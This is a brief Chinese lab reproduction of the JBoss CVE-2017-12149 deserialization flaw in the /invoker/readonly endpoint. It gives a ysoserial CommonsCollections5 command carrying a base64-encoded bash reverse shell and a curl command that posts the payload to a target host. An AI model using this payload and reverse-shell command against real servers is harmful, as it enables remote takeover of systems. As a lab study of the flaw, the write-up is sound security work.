该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
漏洞复现启动环境
该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化,采用其他反序列化利用链就可以了
使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,需要对命令进行一次编码。
java runtime exec usage...
Input type:
利用ysoserial.jar工具构造payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk2LjEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
先开启监听:
然后将生成的payload通过post方法发送到目标服务器的/invoker/readonly:
利用curl发送,
curl http://192.168.96.168:8080/invoker/readonly --data-binary @poc.ser
成功反弹shell
参考:
- JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)通告
- Red Hat Customer Portal - Access to 24x7 support and knowledge



